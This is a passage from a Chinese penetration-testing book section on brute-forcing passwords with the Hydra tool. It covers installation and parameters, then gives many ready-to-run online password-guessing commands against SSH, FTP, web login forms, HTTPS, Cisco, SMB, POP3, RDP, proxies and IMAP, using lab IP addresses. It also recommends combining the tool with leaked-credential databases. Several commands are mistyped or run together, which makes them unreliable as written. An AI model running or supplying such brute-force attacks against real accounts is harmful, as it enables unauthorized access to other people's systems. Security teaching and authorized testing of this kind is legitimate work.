网络攻防实战研究:漏洞利用与提权
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

3.2 使用Hydra暴力破解Linux密码

Hydra是世界顶级的密码暴力破解工具,支持几乎所有协议的在线密码破解,功能强大,密码能否被破解的关键取决于破解字典是否足够强大。在网络安全渗透过程中,Hydra是一款必备的测试工具,配合社工库进行社会工程学攻击,有时会获得意想不到的效果。

3.2.1 Hydra简介

Hydra是著名黑客组织thc开发的一款开源的暴力密码破解工具,可以在线破解多种密码,目前已经被Backtrack和Kali等渗透平台收录。除了命令行下的Hydra外,还提供了Hydra-GTK版本(有图形界面的Hydra),其官方网站是http://www.thc.org/thc-hydra

Hydra 7.6的下载地址为http://www.thc.org/releases/hydra-7.6.tar.gz,它支持AFP、Cisco AAA、Cisco auth、Cisco enable、CVS、Firebird、FTP、uHTTP-FORM-GET、HTTP-FORM-POST、HTTP-GET、HTTP-HEAD、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MySQL、NCP、NNTP、Oracle Listener、Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、RSH、SAP/R3、SIP、SMB、SMTP、SMTP Enum、SNMP、SOCKS5、SSH(v1和v2)、Subversion、Teamspeak(TS2)、Telnet、VMware-Auth、VNC、XMPP等类型密码的破解。

3.2.2 Hydra的安装与使用

Hydra可以在Debian和Ubuntu等环境下安装和使用。

1.在Debian和Ubuntu环境下安装Hydra

如果是Debian和Ubuntu发行版,会自带Hydra,可直接使用apt-get在线安装,命令如下。

        sudo  apt-get  install   libssl-dev  libssh-dev  libidn11-dev  libpcre3-dev
    libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev
    hydra

如果要使用Redhat/Fedora发行版的源码包编译安装,需要先安装相关依赖包,命令如下。

        yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel
    subversion-devel

2.安装CentOS

CentOS的安装命令如下。

        # tar zxvf hydra-7.6-src.tar.gz
        # cd hydra-6.0-src
        # ./configure
        # make
        # make install

3.使用Hydra

BT5和kali都默认安装了Hydra。在Kali中,依次单击“Kali Linux”→“Password Attacks”→“Online Attacks”→“Hydra”选项即可打开Hydra。在CentOS终端中,输入命令“/usr/local/bin/hydra”即可打开该暴力破解工具。除此之外,还可以通过“hydra-wizard.sh”命令进行向导式设置来密码破解,如图3-5所示。

图3-5 使用hydra-wizard.sh进行密码破解

4.安装libssh

如果不安装libssh,在运行Hydra破解账号时会出现错误。如图3-6所示,显示错误提示信息“[ERROR] Compiled without LIBSSH v0.4.x support, module is not available! ”,在CentOS下运行如下命令即可解决此问题。

图3-6 libssh模块缺少错误

        yum install cmake
        wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
    tar zxf libssh-0.4.8.tar.gz
        cd libssh-0.4.8
        mkdir build
        cd build
        cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
    make
    make install
        cd /test/ssh/hydra-7.6   //此为下载Hydar并解压的目录
        make clean
        ./configure
        make
        make install

5.Hydra参数详细说明

Hydra命令示例如下。

        hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE]
    [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET]
    [-SuvV46] [service://server[:PORT][/OPT]]

· -l LOGIN:指定破解的用户名称,对特定用户破解。

· -L FILE:从文件中加载用户名进行破解。

· -p PASS:小写字母“p”,指定密码破解,少用,一般采用密码字典。

· -P FILE:大写字母“P”,指定密码字典。

· -e ns:可选选项,“n”表示空密码试探,“s”表示使用指定用户和密码试探。

· -C FILE:使用冒号分割格式,例如“登录名:密码”代替“-L”和“-P”参数。

· -t TASKS:同时运行的连接的线程数,每一台主机默认为16个线程。

· -M FILE:指定服务器目标列表文件为每行一条。

· -w TIME:设置最大超时时间,单位为秒,默认为30秒。

· -o FILE:指定结果输出文件。

· -f:使用“-M”参数以后,在找到第一对登录名或者密码时中止破解。

· -v/-V:显示详细过程。

· -R:继续上一次破解。

· -S:采用SSL链接。

· -s PORT:可通过这个参数指定非默认端口。

· -U:服务模块使用细节。

· -h:更多的命令行选项(完整的帮助文档)。

· server:目标服务器名称或者IP地址(使用此选项或“-M”选项)。

· service:指定服务名,支持的服务和协议包括Telnet、FTP、POP3[-ntlm]、IMAP[-ntlm]、SMB、SMB NT、http[s]-{head|get}、http-{get|post}-form、http-proxy、Cisco、Cisco-Enable、VNC、LDAP2、LDAP3、MSSQL、MySQL、Oracle-Listener、Postgres、NNTP、Socks5、REXEC、Rlogin、PCNFS、SNMP、RSH、CVS、SVN、ICQ、SAPR3、SSH2、SMTP-Auth[-ntlm]、pcAnywhere、TeamSpeak、SIP、Vmauthd、Firebird、NCP、AFP等。

· OPT:一些服务模块支持额外的输入(“-U”选项用于获取模块的帮助信息)。

3.2.3 Hydra应用实例

1.破解SSH账号

破解SSH账号有两种方式,一种是指定账号破解,另一种是指定用户列表破解,命令如下。

        hydra -l用户名 -p密码字典 -t线程 -vV -e ns ip ssh

例如,输入命令“hydra-l root-P pwd2.dic-t 1-vV-e ns 192.168.44.139 ssh”,对IP地址为192.168.44.139的root账号密码进行破解,如图3-7所示,破解成功后显示其详细信息。

图3-7 破解SSH账号

输入命令“hydra-l root-P pwd2.dic-t 1-vV-e ns-o save.log 192.168.44.139 ssh”,将扫描结果保存在save.log文件中,使用“cat save.log”命令查看扫描结果,如图3-8所示。

图3-8 查看破解日志

2.破解FTP账号

(1)破解指定密码

        hydra ip ftp -l用户名 -P密码字典 -t线程(默认16) -vV
        hydra ip ftp -l用户名 -P密码字典 -e ns -vV

(2)批量破解FTP账号和密码

        hydra -L list_user -P list_password 192.168.56.101 ftp -V

对FTP服务器(192.168.56.101)进行密码破解,如图3-9所示。

图3-9 对FTP密码进行破解

3.GET方式提交,破解Web登录

        hydra -l用户名 -p密码字典 -t线程 -vV -e ns ip http-get /admin/
        hydra -l用户名 -p密码字典 -t线程 -vV -e ns -f ip http-get /admin/index.php

4.POST方式提交,破解Web登录

(1)hydra-l用户名-P密码字典-s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"

        hydra   -L   list_user   -P   list_password   192.168.0.115   http-post-form
    "member.php? mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&in
    ajax=1:fastloginfield=username&username=^USER^&password=^PASS^&quickforward=yes&
    handlekey=ls:Login failed" -V

以上示例表示对192.168.0.115进行破解,需要定义登录的URL,以及设置登录验证和错误登录标记,效果如图3-10所示。

图3-10 对HTTP进行暴力破解

        member.php? mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes
    &inajax=1
        fastloginfield=username&username=^USER^&password=^PASS^&quickforward=yes&han
    dlekey=ls
        Login failed

(2)对admin密码进行破解

        hydra -t 3-l admin -P pass.txt -o out.txt -f 192.168.0.115 http-post-form
    "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"

“-t”表示同时线程数为3; “-l”表示用户名是“admin”,字典为pass.txt,保存为out.txt; “-f”表示破解一个密码就停止;“192.168.0.115”表示目标IP地址;“http-post-form”表示采用HTTP的POST方式提交表单密码破解;“<title>”中的内容是错误猜解的返回信息提示。

5.破解HTTPS

      hydra -m /index.php -l muts -P pass.txt 192.168.0.115 https

6.破解teamspeak

        hydra -l用户名 -P密码字典 -s端口号 -vV ip teamspeak

7.破解Cisco

    hydra -P pass.txt 192.168.0.115 cisco
    hydra -m cloud -P pass.txt 192.168.0.115 cisco-enable

8.破解SMB

    hydra -l administrator -P pass.txt 192.168.0.115 smb

9.破解POP3

    hydra -l muts -P pass.txt my.pop3.mail pop3

10.破解远程终端账号

(1)破解管理员账号

    hydra ip rdp -l administrator -P pass.txt -V

(2)批量破解账号

    hydra -s 3389192.168.44.138 rdp -L user.txt  -P pwd.txt -V

破解效果如图3-11所示。

图3-11 破解3389账号

11.破解HTTP-Proxy

    hydra -l admin -P pass.txt http-proxy://192.168.0.115

12.破解IMAP

    hydra -L user.txt -p secret 192.168.0.115 imap PLAIN
    hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

参考文章

· http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/

· http://www.aldeid.com/wiki/Thc-hydra#Install_Hydra